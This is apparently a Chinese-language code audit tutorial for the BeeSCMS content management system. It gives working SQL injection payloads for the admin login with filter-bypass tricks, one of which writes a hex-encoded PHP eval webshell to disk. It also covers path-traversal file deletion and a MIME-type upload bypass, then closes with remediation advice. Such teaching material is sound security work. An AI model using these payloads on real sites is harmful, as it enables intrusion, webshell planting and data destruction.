beescms代码审计
字数 1419 2025-08-12 11:34:07

BeeSCMS代码审计教学文档

一、环境搭建

  1. 下载BeeSCMS源码:https://pan.baidu.com/s/1slSoqIx
  2. 解压后访问/install目录进行安装

二、目录结构分析

  • admin: 管理员后台文件夹
  • data: 系统处理数据相关目录
  • emplate: 模板文件夹
  • install: 网站安装文件夹
  • upload: 上传功能文件夹

三、漏洞审计

1. SQL注入漏洞

漏洞位置:admin/login.php

漏洞分析

  • 登录框存在SQL注入可能
  • 使用单引号测试出现报错,说明存在注入点
  • 使用#闭合SQL语句成功

过滤函数

function fl_value($str){
    if(empty($str)){return;}
    return preg_replace('/select|insert | update | and | in | on | left | joins | delete union | from | where | group | into |load_file|outfile/i','',$str);
}

function fl_html($str){
    return htmlspecialchars($str);
}

绕过方法

  • 双写绕过技术:
    • select → seselectlect
    • from → fr from om
    • where → wh where ere
    • = → like

利用payload

  1. 报错注入:
1' or (extractvalue(1,concat(0x7e,(select database()),0x7e)))#
  1. 爆表:
1' or (extractvalue(1,concat(0x7e,(seselectlect table_name fr from om information_schema.tables wh where ere table_schema like 'root' limit 1,1),0x7e)))#
  1. 爆列:
1' or (extractvalue(1,concat(0x7e,(seselectlect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 1,1),0x7e)))#
  1. 写shell:
-1'un union ion seleselectct 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b315d293b3f3e in into outoutfilefile 'D:/phpStudy/PHPTutorial/WWW/beescms/1.php'#

2. 任意文件及目录删除漏洞

漏洞位置1:admin_ajax.php

漏洞代码

elseif($action=='del_pic'){
    $file=CMS_PATH.'upload/'.$value;
    @unlink($file);
    die("图片成功删除");
}

利用方法

  • 通过../目录穿越实现任意文件删除
  • 示例:删除根目录下的1.php

漏洞位置2:admin/admin_db.php

漏洞代码

elseif($action=='del'){
    $fl = $_GET['fl'];
    $db_handler=@opendir(DATA_PATH.'backup/'.$fl);
    if($db_handler){
        while(false!==($d_file=readdir($db_handler))){
            @unlink(DATA_PATH.'backup/'.$fl.'/'.$d_file);
        }
    }
    @rmdir(DATA_PATH.'backup/'.$fl);
}

利用方法

  • 通过../目录穿越删除上级目录
  • 示例:删除data目录

3. 文件上传漏洞

漏洞位置1:admin/upload.php

漏洞分析

  • 使用up_img()函数处理上传
  • 仅检查MIME类型,可被绕过

过滤代码

$value_arr=up_img($_FILES['up'],$is_up_size,array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg'),$is_thumb,$thumb_width,$thumb_height,$logo);

利用方法

  1. 上传PHP文件
  2. 修改Content-Type为image/jpeg等允许的类型
  3. 访问上传路径获取shell

漏洞位置2:admin/admin_pic_upload.php

漏洞分析

  • 同样使用up_img()函数
  • 多文件上传处理存在相同问题

利用方法

  • 同upload.php的利用方式

四、误报分析

  1. admin_admin.php

    • id参数经过intval()处理,无法注入
  2. admin_ajax.php

    • id参数同样经过intval()处理
  3. XSS漏洞

    • 虽然fl_html()函数可被绕过,但实际测试未能触发
  4. 文件包含漏洞

    • 多个疑似文件包含点都被限制在特定目录下

五、审计技巧总结

  1. 黑盒与白盒结合

    • 先黑盒测试功能点,再白盒分析代码
  2. 关键函数追踪

    • 追踪fl_value()fl_html()等过滤函数
    • 关注intval()等安全函数的使用
  3. 漏洞模式识别

    • SQL注入:关注用户输入拼接SQL语句处
    • 文件操作:关注unlink()include()等函数
    • 文件上传:关注move_uploaded_file()和MIME检查
  4. 工具辅助

    • 使用工具扫描漏洞点,但需人工验证
  5. 绕过技术

    • 双写绕过过滤
    • 修改Content-Type绕过上传限制
    • 目录穿越实现任意文件操作

六、修复建议

  1. SQL注入

    • 使用预处理语句替代字符串拼接
    • 加强过滤函数的正则表达式
  2. 文件操作

    • 限制文件操作目录
    • 检查路径中的../等特殊字符
  3. 文件上传

    • 检查文件内容而不仅是MIME类型
    • 限制上传文件扩展名
  4. 权限控制

    • 加强后台操作权限验证

通过本审计案例,可以学习到CMS代码审计的基本流程和方法,特别是如何发现和验证各种类型的漏洞,以及如何绕过常见的防护措施。

BeeSCMS代码审计教学文档 一、环境搭建 下载BeeSCMS源码:https://pan.baidu.com/s/1slSoqIx 解压后访问/install目录进行安装 二、目录结构分析 admin : 管理员后台文件夹 data : 系统处理数据相关目录 emplate : 模板文件夹 install : 网站安装文件夹 upload : 上传功能文件夹 三、漏洞审计 1. SQL注入漏洞 漏洞位置:admin/login.php 漏洞分析 : 登录框存在SQL注入可能 使用单引号测试出现报错,说明存在注入点 使用 # 闭合SQL语句成功 过滤函数 : 绕过方法 : 双写绕过技术: select → seselectlect from → fr from om where → wh where ere = → like 利用payload : 报错注入: 爆表: 爆列: 写shell: 2. 任意文件及目录删除漏洞 漏洞位置1:admin_ ajax.php 漏洞代码 : 利用方法 : 通过 ../ 目录穿越实现任意文件删除 示例:删除根目录下的1.php 漏洞位置2:admin/admin_ db.php 漏洞代码 : 利用方法 : 通过 ../ 目录穿越删除上级目录 示例:删除data目录 3. 文件上传漏洞 漏洞位置1:admin/upload.php 漏洞分析 : 使用 up_img() 函数处理上传 仅检查MIME类型,可被绕过 过滤代码 : 利用方法 : 上传PHP文件 修改Content-Type为 image/jpeg 等允许的类型 访问上传路径获取shell 漏洞位置2:admin/admin_ pic_ upload.php 漏洞分析 : 同样使用 up_img() 函数 多文件上传处理存在相同问题 利用方法 : 同upload.php的利用方式 四、误报分析 admin_ admin.php : id 参数经过 intval() 处理,无法注入 admin_ ajax.php : id 参数同样经过 intval() 处理 XSS漏洞 : 虽然 fl_html() 函数可被绕过,但实际测试未能触发 文件包含漏洞 : 多个疑似文件包含点都被限制在特定目录下 五、审计技巧总结 黑盒与白盒结合 : 先黑盒测试功能点,再白盒分析代码 关键函数追踪 : 追踪 fl_value() 、 fl_html() 等过滤函数 关注 intval() 等安全函数的使用 漏洞模式识别 : SQL注入:关注用户输入拼接SQL语句处 文件操作:关注 unlink() 、 include() 等函数 文件上传:关注 move_uploaded_file() 和MIME检查 工具辅助 : 使用工具扫描漏洞点,但需人工验证 绕过技术 : 双写绕过过滤 修改Content-Type绕过上传限制 目录穿越实现任意文件操作 六、修复建议 SQL注入 : 使用预处理语句替代字符串拼接 加强过滤函数的正则表达式 文件操作 : 限制文件操作目录 检查路径中的 ../ 等特殊字符 文件上传 : 检查文件内容而不仅是MIME类型 限制上传文件扩展名 权限控制 : 加强后台操作权限验证 通过本审计案例,可以学习到CMS代码审计的基本流程和方法,特别是如何发现和验证各种类型的漏洞,以及如何绕过常见的防护措施。